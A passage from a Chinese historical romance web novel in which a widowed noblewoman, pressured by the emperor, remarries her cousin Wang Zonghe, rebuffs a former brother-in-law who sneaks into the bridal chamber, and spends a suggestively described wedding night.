这是他准备寄回京城的信,才写了一半,后面停住是不知该怎么写。 每个月, 他都会把自己的状况大致写入信中, 里面用的是只有主子才能看懂的暗号。 京城那边则是三月一封信,主要会告诉他叔父情况,以及让他注意安危。其余时候, 很少会有消息。 但这不代表陈危只能从这儿得知京城状况,早在知晓齐国公及其子领命去广西时,他就在暗中打听其他事。 不能特意询问齐国公府世子夫人的状况,只能从一些事的边角中拼凑出她的处境。 在意识到主子如今处在危机当中, 陈危第一反应是回去, 紧接着就收到来信, 里面内容和以往没有任何区别。 主子不想让他知道, 或者说,主子不觉得告诉他会有什么作用。 因心中烦闷, 陈危不擅长用别的方法宣泄,就把所有精力都用在了操练小兵上,过强的压力让他们敢怒不敢言。 谁不知道陈千户天生神力,彭将军身边几员猛将接连败在他手上,让彭将军欣赏至极,再提拔都是迟早的事。 彭宗听说这事,叫来陈危,“最近心情不好?” 陈危摇头。 彭宗笑,“你手下的人最近日夜不休,再操练下去怕是小命都没了,他们不敢和你叫苦,我可不想手底下的兵不清不楚地没了。” 陈危一惊,忙跪地告罪。彭宗本来就是故意夸张,更没打算罚他,“是因齐国公在西南那边的事心烦?” 陈危受齐国公李德举荐而来,故彭宗一直把他当做国公府的人。 陈危说是。 彭宗道:“放心,西南的乱子一时半刻平不了,起码也得几年的功夫。即使有人想为难他,也不敢在这种时候找麻烦。” 说着,语气颇有些意味深长,“等局势稳定,那些人不一定还能为难他的本事。” 陈危猛得抬头,不确定彭将军的话是不是他想的那种意思,国公爷他…… 彭宗拍他肩,指了指京城方向,“所以,你不用担心旧主,咱们老老实实地守着蓟州,镇住那群蒙古鞑子,不额外添乱,就足够了。” 他哪知道陈危担心的另有其人,察觉到齐国公另有所图,短期可能根本不会回京,陈危暗暗焦急,迅速将剩下半封信写好。 令人快马加鞭送回京城,陈危就一直等待回信。 如果主子愿意,他有办法率人暗中回京,把她带离京城。 ** 陈危信件抵达之前,王宗赫再次在教导大皇子后归家,他在宫里又见到了清蕴,这次还有建帝在侧。 她摘抄书籍时,建帝就在旁边玩弄她鬓边珠花。当时清蕴垂着眸看不清脸色,但不用细想也知道,定是无力反抗的无奈。 陛下驳回了礼部给她请封的折子,王宗赫还在想其他办法,暂时不得法门。 这次不同于三年前,那时李秉真在世,大长公主在身边,建帝还没有放肆到那个地步,稍微使计就能转移其注意力。 饭桌上,王宗赫再次被母亲郑氏念叨,“好好的也不知你为什么偏要和晚娘和离,我虽然对她一些毛病不满意,但那也是自家人说两句。柳阁老是她祖父,你又在吏部做事,万一人家……” “住嘴吧。”王维章打断她,“已经和离了,不要再说这些无意义的话,官场上的事也不要擅自揣测。” 郑氏:“和他同龄的都当了爹,他成婚两年不怎么着家,现在还直接和离了,你不着急?” 王维章:“这事能急得出来?” 郑氏:“好歹说清和离的原因,我再给他说亲也好知道他的要求,你看看你的好儿子,一句话都不吭,对终生大事半点不上心。” 眼见夫妻俩又要为这事起争论,王宗赫随便吃了两口,就先告退离开。 他的住处和朝云榭有一段同路,每每走到这条路都会让他想起清蕴。如今朝云榭还在为她留着,但不知她今后是否有回来的机会。 家里也听到了那些流言,知道清蕴如今处境,祖父和父亲曾进宫面圣,都无功而返。 走进书房,王宗赫拿起笔继续模仿清蕴的笔迹开始抄书。 他行事总有章法,鲜少有沉不住气的时候,更别说慌乱。今晚抄书却很不顺利,时不时就有哪处下笔重了,浪费一张纸,过去一个时辰,灯油过半,仍没几张抄好的纸。 疏影候在边上,很是担忧。 突然咔兹一声,王宗赫掌中羊毫从中间断裂,他低眸看去,意识到自己握笔时过于用力。 疏影建议,“爷,先休息罢,您今儿已经连着忙了快八个时辰,中午也没歇。” 沉默会儿,王宗赫点头。 只是上了床榻,依旧没有任何睡意,脑海中浮现的仍是清蕴坐在藏书阁的身影。 如此又过了几天,清蕴得以出宫,王宗赫从堂妹令嘉那儿得知一个消息。得知清蕴出孝,陆家来信,想要给她说亲。 最重要的是,清蕴并未直接拒绝。 他动作顿住,沉沉的目光朝王令嘉扫去,“你从哪儿知道的消息?” 王令嘉莫名有些怕这样的三哥,如实答,“前天我去国公府看望陆姐姐,恰巧看到她在回信,就问了问。” 王宗赫不知该如何形容自己的心情。 看清蕴此前做派,他以为她和李秉真感情至深,此生都不会再嫁,原来她并不抵触? 既然如此…… 王宗赫突然起身,“随我去齐国公府。” 王令嘉:“我才去过,而且今天好冷啊,不……不备马车怎么去?” 话到一半转弯,王令嘉被堂哥取出的梅花簪吸引,立刻笑眯眯改口,和长辈们打过招呼,添件披风就出门。 马车上,王令嘉眨眼悄悄打量堂哥,心里猜测他急着去找表姐的原因。 如果王令娴在此,也许能猜到几分,但王令嘉心思粗,以前都没注意过少年老成的表哥心意,如今更不可能猜到。 她想,堂哥应是和她一样,觉得陆家人不可信,来劝陆姐姐慎重。 因此一进国公府,看两人打发了下人,王令嘉就很自觉地到旁边的暖阁中赏花。既听不到他们的谈话声,也不至于留两人独处引人闲话。 寒意未褪,清蕴裹了件素色绸缎交领袄衣,外罩藕荷色无袖比甲,腰间系着艾绿素缎长裙。通身依旧素净,却饱含春日的生机。 王宗赫没有过多寒暄,几句话就直接道:“你有意接受陆家说的亲事?” 清蕴先是惊讶,而后恍然,“是令嘉说的吧。” 本就没要求过王令嘉保密,她沉默了会儿颔首,“不怕三哥笑话,你也知道如今我的处境,如果不想进宫,再嫁恐怕是最好的选择。” 王宗赫:“你确定,再嫁的那人能护住你吗?” 他甚少说得如此直白,也心知这话对清蕴可能造成的刺激,但还是说出口了。 果不其然,清蕴脸色微微苍白,“我应当会离京。” 如果没有建帝这个变数,清蕴应当可以顺自己心意而活,至少不用被迫再嫁。王宗赫心知这是天子的荒诞所至,但却因她想法改变而生出一丝不该有的喜意。 他很快意识到了自己的卑劣,眸色愈沉,“他这几年的作风你应当有所耳闻,但凡想要,皆会不择手段达成目的,除非势力或家世足够雄厚,才会让他有所顾忌。” 清蕴别过头,“我知道,倘若国公爷还在京中,便不会有这些事。” 王宗赫定定观察她的神色,大致有了定论,其实她仍不想再嫁,只是迫于形势不得不考虑这个办法。 但这已经足够了。 在长达几十息的静默后,王宗赫道:“既然要嫁,那就嫁我。” “……什么?” 王宗赫松开一直在袖中暗暗攥住的拳,回头瞥了眼仍老老实实赏花的堂妹,确定她不曾偷看,起身走到清蕴面前,“你为李家妇,祖父他们即便有心帮你,能做的也有限。嫁给我,他再荒唐,也要忌惮王家。” 王家不仅有人在京中为官,外放到地方的子弟也有几人,最重要的是王贞的小儿子、王宗赫的小叔王维轩在宁夏驻守,虽不是总兵,但威望更胜总兵。 倘若建帝强行夺取王家人,可能造成的后果绝非他所乐见。 清蕴眼微微睁大,“这是外祖父他们的意思吗?” 王宗赫:“……不是,我尚未向长辈明说。” 清蕴:“是准备与我假成婚,待国公爷回京后再向他解释?” 王宗赫微顿,几乎以为清蕴已经知道他和柳晚的协议,但仍摇头,“不是。” 清蕴:“既然不是家中决定,也并非权宜之计,三哥就不该说这些。我只是不想进宫,但更不想给你们带来麻烦。” 王宗赫知道,她总是这样为他人着想,当初住在王家也是处处委屈自己,不想惹出任何事端,连下人都从不责罚,能忍则忍。但他求娶她,并不是纯粹想依靠家中势力,他有信心即便靠如今的自己,也能护好她。 说那些话,不过是想让她多些安心。 “不是麻烦。” 清蕴看他。 王宗赫重复了遍,“不是麻烦,是我想娶你。” 说出这句话时,他依然神色沉稳,根本看不出是在和心仪的女子表明心迹,任谁都想不到这番话他已经在马车上默念了无数遍,“我本以为你无意再嫁,和离后也没打算再娶,但你既然有心,我不想再错过。” 他顿了下,还是没有把内心汹涌的感情全部道出口。 清蕴似乎愣了会儿,随后垂首,“我不想让外祖父他们为难。” 听起来是拒绝,王宗赫仍敏锐地察觉到了其中机会,“如果他们同意,你便答应嫁我?” 清蕴不说话,侧看向暖阁的花花草草。 这是有所动摇的回应。 王宗赫读懂她的意思,又微微握了下拳,以防泄露太多心绪,起身道:“我这就去向他们禀明,最迟三日内,必给你答复。在这期间,不要给陆家任何回应,好吗?” 他的目光稳重无比,总能给人无与伦比的安全感,清蕴似乎受其感染,不知不觉说了声好。 但在王宗赫踏出门的瞬间,她在心中轻道了声抱歉。 陆家有来信,说的并不是这件事。是她在察觉到表哥未对自己忘情后,故意如此告诉王令嘉,借此看王宗赫反应。 本只是小小的试探,没想到他如此果断,立刻来向她表明心意并提亲。 惊讶不是作假,可清蕴在脑海中迅速权衡过利弊,深知再嫁给他是最好的选择。 因她还考虑到了一件事,倘若避开建帝,等公爹回京,到时候她照样要面对李审言。 她对表哥并非男女之情,可两人也有青梅竹马之谊。如果两人当真成婚,她会努力给予他同等的感情。 ** 王宗赫匆匆归家,还没见到祖父,就先在祖母那儿得知了一个“好消息”。 大长公主得知京中之事,已经在回来的路上了。 秦夫人道:“大长公主是长辈,由她出面,陛下再想胡来,可不能够了。” 王宗赫:“祖母怎么知道?” 秦夫人:“我托人一直在打探大长公主所在,刚得的消息,正准备派人去告诉清蕴。” 王宗赫颔首,淡然道:“此时天色已晚,明天我正好有事去齐国公府,由我告诉表妹吧。” 秦夫人还想派人去,依她来看,这消息越早知道,外孙女越能安心。王宗赫对待长辈还是有方法的,几句话打消了秦夫人念头。 他不敢保证,清蕴知道这消息后,会不会后悔答应他。所以,他必须在这之前,请父亲和祖父他们同意自己求娶清蕴。 ………… 千里之外的广西,齐国公临窗看完书信,先问马青:“那小子没有看过信吧?” 信封上有完整的火漆,齐国公是担心儿子提前看了信再做好伪装。 马青道:“属下亲自去取的信,一路未经他人手,二公子也不曾知晓。怎么了,京中发生了什么大事吗?” 齐国公摇头。 其实在一个月前得知建帝再三扰儿媳清静时,他已经在着手请孟集帮忙,只是这封信寄过来,让他突然意识到,也许儿媳自己也想嫁人。再者,允勖对清蕴的心思确实…… 思索再三,他提笔写好回信,让马青拿去驿站的同时再三叮嘱,绝不可让李审言看见。 第69章 她从王家出嫁,时隔近五年,又嫁回王家 为避免夜长梦多, 王宗赫直接请祖父和父亲到书房小聚。 他心知,所有长辈中,母亲是最有可能反对的人。但在母亲之上,还有祖父母。 祖母疼爱清蕴, 八成会同意。父亲则向来听从祖父意见, 因此最重要的是说服祖父。 一进书房, 王宗赫撩袍跪在地面, 向长辈字字陈情,表明求娶清蕴之心。 烛光下, 两人都清楚看到他的目光,感受到其语气坚决。 王贞抚须不语,王维章怔了瞬。 作为大理寺卿,他观察入微,儿子对外甥女曾经的情丝自然有所察觉, 但他认为年轻人擅忘, 后来儿子又娶妻,早该不在意此情。 因此,清蕴遇到此次危机, 他就没想过要让二人成婚来避免陛下强纳。 王维章:“你为何如此殷勤为清蕴奔走?” 王宗赫:“表妹与我们血脉相连,若放任她被陛下强纳入宫,我们也会有‘献女媚君’的污名,有损王家百年清誉。” 这是事实, 单看这阵子同僚的异样眼光就知道。有好事者甚至以为他们和那些卖女/妻求荣的佞臣相同, 献上一女不够, 还要献上一个外甥女。 每每听到这种话, 王维章都要忍耐片刻。 王宗赫继续,“如今齐国公在西南领兵平乱, 倘若发现表妹被迫进宫,极有可能对陛下生出不满。若其拥兵自重,王家作为表妹母族,将首当其冲受牵连。我娶表妹,一可全王家护亲之名,二可得齐国公为援,三能绝陛下失德之患。” 条分缕析,将利益关系一一道来。王维章不得不承认,儿子进入官场几年已经十分成熟,目光长远可观全局, 但作为父亲和男人,他更能看出这光明正大理由下深藏的其他东西。 不着痕迹看了眼父亲,王维章见其满脸淡然,对自己的猜测愈发肯定。 王贞终于开口,“诚如你所言,倒也不必拿你们二人的终身大事做手段。大可为清蕴择另一合适人选,只要他们两人同意,依旧可以。” 王宗赫记起祖父在清蕴出嫁时对自己说的话,不信他不知内因。虽不习惯袒露心迹,但还是在二人目光下缓缓垂首,低声道:“孙儿自幼时起,便对表妹存倾慕之心。此前与柳氏和离,也是因我们二人对彼此无夫妻之情。本想就此度过余生,但如今既有机会达成所愿,又能够护她周全,孙儿便不想再违背本心。” 话落,两位长辈对视一眼,齐齐沉默了片刻。 王维章再次开口,“你可曾问过清蕴?她如今为李家妇,你又准备如何向齐国公陈情?” 王宗赫:“清蕴还不曾知晓此事,但只要说清利弊,相信她不会拒绝。齐国公那儿,儿子自会去信说明,请他答应。” 王维章想,外甥女处境艰难,恐怕确实只能答应,只是克衡此举未免有趁人之危之嫌。 不过……他想到刚才王宗赫的话,对儿子到底有一丝同情。如果能借这个机会打动清蕴,日后两人成为一对佳偶,也不失缘分。 他心底已经认可,剩下的便是王家最具有话语权的长辈。 王贞道:“你先征得清蕴和齐国公的同意。” 王宗赫握紧的拳松开,微微颔首。 等到离开书房,他望向漫天繁星,凉风袭来,将衣襟下的薄汗吹干。 他感到浑身说不出的畅意。 ** 王宗赫一言既出,行动起来也极为迅速。 清蕴第三日得到消息,才知他已经说服了王家各位长辈。不仅如此,他不知用了何法,还取得了远在江苏的陆家人同意。 她本以为自己会多出一些麻烦,至少大舅母郑氏极有可能激烈反对,进而找来。但事实是,他没有让她操任何心。 大长公主归京后,王宗赫先去拜访,劝动了清蕴这位前婆母,让她以“全人伦孝道”为名,允许清蕴守孝期满后遵从母族安排再嫁。 建帝闻讯怒极,本想从清蕴的身份入手,从中作梗,便有言官直接上奏疏,道“陛下圣明,岂效吴炀帝夺臣妻之恶名?今王氏子以六礼聘陆氏女,正显君恩浩荡、成全臣伦也”。 与此同时,王维轩递来奏折,言明得知侄儿与外甥女婚讯后深感欣慰,特请旨归京。 多重压力下,建帝即便再不管不顾,也不得不考虑齐国公、大长公主、王家三方势力以及言官口诛笔伐的分量。 他对着王宗赫呈上的奏折一连沉了三天脸,批也不是,不批也不是。 最终,还是谢云天与他耳语一番,让建帝脸色阴晴不定许久,最终在奏折上盖下红批。 随后大长公主做主,收她为义女,让她搬到大长公主府等待出嫁。 京中还是头次操办如此快速的婚事,三日内完成纳采问名,一月内就要行迎亲礼。 清蕴都没想过会这么快。 当她再次穿上嫁衣,等待迎亲时,仍有些反应不及。 由于时间定得紧,这次陆家人来不及进京,未来送嫁,作为娘家人的是大长公主及永平郡主李琪瑛。 不过,礼仪和聘礼、嫁妆方面没有丝毫马虎,即便二人都不是第一次成婚,依旧办得盛大。 前来参加婚宴的大都是同王家交好的官员,大长公主和清蕴的好友,以及一些礼节来往的京官。 有人低声议论,“大长公主爱子如命,本以为她会让陆氏女为世子守寡,没想到竟能同意收曾经的儿媳为义女,亲手把人嫁出去。” 便有人回,“不过是王家、齐国公和大长公主的权宜之计,不然人真进了那儿,他们今后颜面何存?” 唯一让人有些惊讶的,大概便是王家竟会搭上前途无量的王宗赫。 眼见他步步高升,将来很有可能要进内阁。这会儿刚与柳阁老的孙女和离,转眼就娶了表妹,很难不被柳阁老迁怒。 余下的,便是议论陆氏女、曾经的世子夫人该如何貌美,才会引得陛下连敷衍的功夫都不愿做,急哄哄要强纳人进宫,结果功亏一篑。 身处舆论中心的清蕴静坐新房。 她从王家出嫁,时隔近五年,又嫁回王家。物是人非之感,可想而知。 连白芷今日都频频晃神。 李琪瑛和王令嘉刚陪了会儿清蕴,已经双双离开,如今新房仅剩主仆二人,其余人都被遣到房外等候。 清蕴出声,“白芷,给我倒杯水。” 白芷奉上水杯,看主子慢慢润唇,犹豫许久,终于也忍不住问:“主子,您和三公子成婚,是权宜之计吗?” 清蕴:“为何这么想?” 见她神态平静,唇畔依然含着微微的弧度,白芷知晓主子并未因这个问题恼怒,如实道:“主子先前并没有任何想再嫁的打算。” 身边人最了解清蕴的想法,白芷服侍她多年,更是如此。甚至因为清蕴,白芷也暗暗想,如果像主子这样能够自立,可以养活自己,确实没有必要嫁人。 至少她对成婚生子就没有任何兴趣。 清蕴指尖抚过杯沿上的鎏金缠枝纹,烛火在眼底投下一片摇曳的暗影,“你见过外祖父书房那盆素冠荷鼎么?” 白芷怔了怔,“您是说大人日日亲自照料的那盆兰花?” 清蕴嗯了声,“当初它生了根腐病,外祖父把腐根尽数削去时,所有人都说活不成了。可你看它之后,花葶抽得比往年都要高。” 白芷若有所思。 清蕴接道:“外人如何议论你都不用理会,不管我与谁再度结为夫妻,你只需记住,你是我的人。” 白芷重重颔首。 清蕴放柔目光,“你也站了一天,我倚床歇会儿,你去坐着罢。” 如果别人问这个问题,她不会理会。但白芷地位不同,她要让白芷明白无论境况如何,仅效忠她一人就足够。 白芷应声,到绣墩边准备落座,察觉到窗外溜进的凉风,便起身关窗。 手刚搭上窗沿,似乎看到什么,双目顿时瞪大。 喜榻上,清蕴听到一声极其轻微的呼叫,叫声转瞬即逝,令她心生疑惑,“白芷?” 无人应答。 今晚她和王宗赫成婚,外面有众多护院、婆子把守,按理来说不会有意外。但清蕴立即想到一种可能,建帝行事不择手段,明纳不成,有可能会暗中下手。 她今日并未戴那枚簪子。 清蕴立刻起身,准备去唤屋外的人。 但刚绕过屏风,眼前突然出现一道高大身影,惊得清蕴心跳一滞,瞬间后退。 来人伸手裹住她手腕,熟悉又陌生的声音响起,“是我。” 说着,扯开蒙面黑布,狭长的凤目下,是俊美熟悉的面孔。 竟是李审言。 清蕴瞳孔微缩。 烛火在合欢花纹的窗纱上跳动,李审言向前逼近半步,玄色劲装下隐约透出金丝软甲的轮廓。他腰间短刀未出鞘,刀柄上却沾着暗红血渍——这是半月来日夜兼程穿越十三座城池的见证。 扫过清蕴嫁衣的瞬间,他眼中流露厌恶,恨不得即刻帮她把这身喜服扒下来。 “跟我走。”他嗓音沙哑如粗粝砂纸,带着西南密林特有的潮湿气息,“那些文臣的鬼话你也信?王宗赫能护你到几时?” 清蕴定神,先想到外面守着的人,他们没有发出任何声响,但应该没有被迷晕或打倒,不然来来往往那么多人,肯定早就发现蹊跷。 李审言应是暗地潜入王家。 齐国公仍在西南一带和土司周旋,朝中没有收到任何他要回京的消息。这种时候,李审言也不可能孤身回京,出现在这儿,只能是他独自溜回。 因此明知故问,“是国公爷让二爷来带我走吗?” 李审言瞬间察觉到她称呼的变换,薄唇微抿,“和老头子无关。” 他不想在这时候和清蕴争论,于是低首看着她,“我半月前才知道我们离京后发生的事,既然在京城不安全,就和我们一起去西南,我会找个地方安置好你。” 他比清蕴足足高了一头,身形又健硕,面对面站立时,简直把光线遮得严严实实。 眉梢间没有了以往的肆意风流,仅剩认真,还有时间紧迫的隐隐焦急。 如果在一月前,他突然这样出现在面前,清蕴也许真的会动摇。但她已经做出了选择,且走到新婚当夜,就不会再改变主意。 于是她道:“然后呢?” 李审言:“……什么?” 清蕴再次后退,以避开他过于炙热的视线,“我已得国公爷和大长公主允许,嫁入王家,如今和国公府再无关系。” 她顿了下,“其次,擅离军营是死罪。陛下本就对齐国公领兵不满,二爷自身尚且难保,又怎么护别人?” 李审言右手始终按在刀柄:"你以为我为什么能站在这里?三千精骑此刻就驻在百里外的黑松岗。" 窗外传来更鼓声,远处宴席的喧嚣忽近忽远,像是飘在雾中的鬼火。清蕴瞥见妆镜中自己的脸,想起王宗赫站在梧桐树下说的话:“猗猗,我知你不信情爱,但请信我。” 第70章 克制了二十四年的闸门似乎轰然崩塌 清蕴的目光掠过李审言, 耳畔更鼓声催得烛火都晃动起来。 她平静道:“你带着三千铁骑闯京畿,是预备让齐国公府背上谋逆罪名?” 李审言此番确是私自进京,但…… “王宗赫不可能一直护住你。”他猛地扣住妆台,紫檀木发出不堪重负的吱呀声, “你以为皇帝真会放过你们?他如今昏庸荒淫, 连发三道密旨, 要父亲在三月内交出土司人头, 分明是忌惮李家军功!王家为你得罪了他,更不可能被放过。” 清蕴不退反进, “所以二爷要我做红颜祸水?让史书记载你为夺嫂起兵,坐实陛下猜忌?” 不待李审言再做出反应,她别过头,“你走吧,我不会离开。” 李审言目色阴鸷, 刚想抬手, 清蕴似有预料般避开。 他压低声音,“我早已准备好替身,或一场大火烧了新房, 只要今夜出城——” “然后呢?”清蕴截断他的话,“逃进西南一带的深山老林?或者被发现后,让你和国公爷以谋逆罪论处?让王家百年清誉毁于一旦?” 她突然笑,“你所谓的护我, 就是用陆氏全族性命换你一时痛快?” 李审言:“你当王宗赫又是什么好东西, 他不过……” 把王宗赫同样觊觎她多时的话吞入腹中, 硬生生改口, “他不过是要借你向老头子和大长公主献好。” 说完,腰间短刀锵然出鞘, “跟我走,天亮前就能和我带来的人会合。” 李审言的武力、率性、肆意,清蕴早有领教,且他这样的性格,一旦生出念想,远比其他人更执着。眼见言语无法说动,她微不可闻叹一声,到底用了最不想用的方法。 取下金簪,将锋利的簪尾对准自己,她垂眸道:“如果你非要挟持我离开,那就只能血溅婚房,倒能全了我的名声。可如果我活着和你走,过段时间都察院弹劾王家和国公爷的奏章就能淹了太和殿。” 李审言握刀的手微微发抖,定定看向清蕴,她依旧很美,今夜新嫁娘的妆扮,让她容光远胜往常。依旧聪慧冷静,甚至到冷静到无情。 刀面映出两人对峙交错的倒影。 外面突然炸开烟花,清蕴见他盯着自己不言不语,目中猩红更盛,不得不催促,“看在国公爷和世子的面上,我给二爷一刻钟时间,还请你早些离开。不然,我就只能唤人,到时整个京城都会知道你无诏冒然离营进京。” 李审言不动。 清蕴默数时间。 半刻钟过去,清蕴簪上珍珠突然滚落,落到李审言靴边。 他像是被这声响惊醒,“你就这样信他,如果哪天他辜负了你。” 清蕴:“那也是我选错了路,怪不得其他人。” 李审言看她,像是要把她此刻的面容深深映在脑海中,而清蕴始终镇定地和他对视。 一刻钟快到,李审言终于动了,从来时的窗翻出,犹如敏捷的虎豹,悄无声息。 清蕴松开簪,宽大衣袖掩住微微发颤的手臂,先去窗边唤醒了被打昏的白芷。 ** 王宗赫没有宴客太久,应尽的礼节过去,就脱身离开前院。 来往仆妇驻足向他行礼,目送家中向来沉稳有度的三郎快步朝新房去。连王宗赫自己也不曾意识到,步伐比平时快了许多。 推门而入时,他见满桌烛泪,半扇雕窗在风中吱呀摇晃,清蕴静静坐在床沿,对自己微微一笑。 曾经在梦境出现过无数次的画面就在眼前,让王宗赫顿在门边好一会儿。 白芷上前,默不作声地奉上合卺酒。 王宗赫回神,唇畔带上极其细微的弧度,接过托盘,对白芷道:“这里不用你了,先出去吧。” 白芷瞧一眼清蕴,得到点头才离开。 她其实有些担心二爷来过的事被三公子发现,但主子说已经处理好了,让她忘记即可。 王宗赫确实没发现。 一来李审言动作利落,没留下太多破绽。二来清蕴早就和白芷收拾好细微之处的痕迹,寻常人怎么也不可能想到会有人在王家大喜之日溜进新房。 更何况,以王宗赫此刻的状态,只要人不是光明正大从面前走过,他还真不一定能注意到。 红烛爆出灯花。 王宗赫握着合卺酒的手极稳,看着清蕴仰首饮尽,“洗漱吗?” 清蕴颔首。 两人早就各自沐浴过,这会儿坐了一天,只要简单洗漱即可。 让下人奉水,清蕴坐到妆台前,正慢慢取簪,身后突然多出一人,王宗赫已经接过了她的动作。 取出最后一枚簪时,王宗赫道:“是不是少了个簪子?” 大喜之日讲究成双成对,新娘饰品亦如此,清蕴道:“掉了下来,我懒得再戴,随手先搁下了。” 随意一瞥,果然看见妆台前另一枚簪子。王宗赫不再问,看清蕴给自己通发,视线落在镜中。 乌发如云似瀑,衬得那截修长脖颈愈发雪白。 他移开目光,先去净房擦洗。 再回来时,清蕴已经坐在榻边。长发垂在两侧,一身红色中衣,闻声抬眸看他时,王宗赫感到自己喉间微微发紧。 论身份,二人为表兄妹,相识十三载,绝不能说陌生,即使在新婚夜,也不至于太紧张。 但清蕴于他,可以说是失而复得。 他既想得到她,又不希望在新婚之夜太冒进,遭到她的不喜。 王宗赫开口,“可要再喝些酒?” 清蕴讶然,他解释道:“可以缓解紧张。” 如果不准备做什么,自是不会紧张的。 说实话,清蕴确实以为他今夜什么都不会做,闻言不由抬首,随即道了声好。 王宗赫取来一壶烈酒与清蕴对酌。 三杯入腹,过了会儿,清蕴面颊生晕,不胜酒意般垂下眼睫,红烛将其映成卷翘的扇面,投在眼下那枚红痣——那是他十一岁初见时,就刻进眼底的嫣红。 王宗赫好似也感到了酒意上涌,快要醉了。 他微微动了动喉结,“……可以吗,猗猗?” 他娶清蕴并非其他人想的是权宜之计,当然也不会和她只做所谓的表面夫妻。 清蕴不作答,但已是默许。 当颈后盘扣被解开最后一颗时,清蕴被压在大红色的被褥上,听见他呼吸滞在发顶。 王宗赫指尖悬在鸳鸯戏水的小衣上许久,最终将掌心烙上她后腰——那里有未消的薄汗。 “冷吗?”他声音哑得厉害。 清蕴摇头,温热的唇下一刻突然碾上耳垂,她本能地绷紧腰肢,被他手掌稳稳拖住。 床幔扫过脚背的刹那,她看清他眼底灼烧的暗火,克制了二十四年的闸门似乎轰然崩塌。 清蕴仿佛置身滚烫的岩浆,无一处不是灼热的。 肌肤不受控地战栗。 如果说第一次尝试此事,她感受到的是无尽温柔,在王宗赫这儿,则是克制中的热情。 但在这种时候,理智显然维持不了太久,一旦被压制的火焰失控,将会以极其猛烈的姿态迸发,席卷面前的一切。 清蕴直面了这熊熊燃烧的火焰。 ………… 清蕴在晃动的光影中失神。 “三哥……”她后颈被托起,闺秀中算高挑的身材被王宗赫怀抱一衬,也显得娇小了。 五更梆子响时,王宗赫终于停歇,用中衣裹着她清理。 清蕴已经累到失声,王宗赫下榻倒水,扶她起身。见她眼睫仍是湿漉漉的,一副雨打花娇的模样,低声道:“还好吗,猗猗?” 清蕴抿唇看他。 即便今夜洞房,她本以为以王宗赫的性格,也定然会是冷静克制的。像他平时行事,肯定能掌握好尺度。 结果他冷静是有,但这点理智保持不到一刻钟,失控起来倒是持续了许久。 中途想要让他停下,却说不出话。 且后面一回,他更加过分,压根不让她有拒绝的机会。 她不知他最初的生疏是真实还是故意如此,但很确定,以他的敏锐,绝对感受到了她的抗拒,故作不知而已。 清蕴这才领略到,他稳重的表面下,可能也存着无休止的放纵。 但她无法肯定这是故意还是不小心,更没办法因新婚之夜的热情而生气。 因为本来王宗赫就向她明说过,成亲不止为护她,更是真心想娶。既然如此,做这些事也是理所应当。 “……还好。”清蕴声音哑得厉害,说完这两个字就不再开口,任王宗赫抱自己去净房又擦洗了遍。 等两人回到床榻时,才发现表面一层褥子早已湿透一大块,也不知是汗水还是…… 清蕴看向王宗赫,他也看了会儿,面色如常地用被子裹住她,“先等会儿,我换一床。” 说完没唤下人,自己从橱柜中取出一套新被褥打理起来。 他从小自立,当初在书院学习就基本靠自己打理生活,这种琐事做起来也得心应手。 清蕴看着,想起刚到王家的那几年,她和王令娴、王宗赫三人几乎形影不离。年少时都没那么守规矩,偶尔也会想要轻松肆意一回,而且他们兄妹俩的母亲郑氏平时管束得又那么严。 一般是王令娴先提议,询问她,她再询问王宗赫的意见。因为她知道,三人中在长辈那儿最有地位的是这位表哥。 他从没拒绝过她们,曾带她们到外面茶楼听书,或以其他名义,去踏青游玩。这种时候,一般都是他打理吃喝住行。 那些日子本已远了,如今刚和他最亲密接触过,又看着他做这些事,记忆就慢慢浮现出来。 清蕴也没了那微小的恼怒,在王宗赫再次来抱自己时,主动伸出了手。 70-80 第71章 清蕴重新闭上眼,装睡 窗外泛起蟹壳青, 枝桠间传来鸟鸣,作息极佳的王宗赫睁眼醒来。 触手一片温热,床帐间萦着淡淡香味,让他瞬间记起昨夜是什么日子, 以及发生了何事。 眉头先一步松下来, 王宗赫看向侧身沉睡的人。 青丝漫洒, 横在二人之间, 依稀可见她秀丽眉眼,神情酣然。 没有精致妆容, 没有刻意微笑,少了清醒时的温婉,更添一份自然,宛如山间倚树酣眠的仙鹿,美丽灵动, 令人目光流连。 昨夜正是因为初次领略清蕴的别样风情, 他才忍不住失控,要了一次又一次。 从清蕴的反应来看,她并不适应这样激烈又频繁的欢好。但正是因此, 王宗赫有歉意,却不后悔。 他有意让清蕴意识到,自己和那人的不同。无论此前李秉真在她心中是什么地位,如今他已与她成亲, 是将要和她共度一生的人。 门边传来轻微声响, 女使轻步进门, 刚绕过屏风就撞见王宗赫的目光, 顿时停步,以目请示。 估摸还有时间, 王宗赫让人先退下。 又过两刻钟,他唤醒清蕴,扶人起身。 清蕴先是感到了腰间的酸涩,大概是昨夜消耗太多体力,身体也没什么力气。 她没表现出来,梳妆时让白芷给自己按揉肩颈,再吃了块桂花糕,状态就好了许多。 王宗赫已经更衣梳洗完毕,前来等她。 李秉真病弱,身边有四个女使侍奉,王宗赫从幼时起就只用疏影一人。母亲郑氏曾想给他安排女使,被他以“扰清静不便读书”为由拒绝。待他十七八岁,郑氏又动了安排通房的心思,王宗赫再次摆出了“女色易惹是非”的理由。 前一次要专心读书还说得过去,后来不近女色,则被郑氏认定是清蕴引得他如此,所以那几年对清蕴处处暗中针对。 所幸清蕴处事算得上圆滑,又有秦夫人护着,没怎么吃过亏。 兜兜转转,两人还是成了婆媳。 但和在齐国公府相比,现在她要拜见的都是看着自己长大的长辈,其中多数人对她关怀友爱,这样说起来,又算得上幸运。 王宗赫居住在春诵堂,途径朝云榭时,他见清蕴往那儿扫了眼,“想住回去?” 清蕴摇头,“只是在想,我如今肯定不会再回去了,朝云榭也不必再留着。” 王宗赫:“家里还不缺这一个地方。” 就拿祖母来说,绝不会吝于给清蕴空留一个院落。 下阶时,清蕴脚下微松,险些踩空的瞬间被王宗赫及时捞住。他顺势握住她手,对她试图挣开的细微力度故作不知,毫无异状地牵着人。 来往有诸多仆妇,清蕴不想因这种小事引起他们注意,抬起眼睫瞥了他一眼。 王宗赫今天穿了身玄色常服,衣襟处一抹朱红衬得眉眼愈显英朗。 晨光勾勒出他流畅的轮廓,身形如松竹般笔挺,腰间双鱼佩垂着半截茜色丝绦——与清蕴下裙同出一色。 吏部要员的威严和稳重浸在骨子里,纵是家常锦缎也掩不住通身气度,唯有袖口新熏的檀香还沾着昨夜红烛余温。 清蕴再次意识到,他骨子里的强势其实并不比大舅母郑氏少。此前也许是表兄妹的关系不便展露,或者是,他在男女之事上,本性如此。 离正厅还有一段路的距离,王宗赫终于松开手。私下如何恩爱都没关系,到长辈面前总要注意分寸。 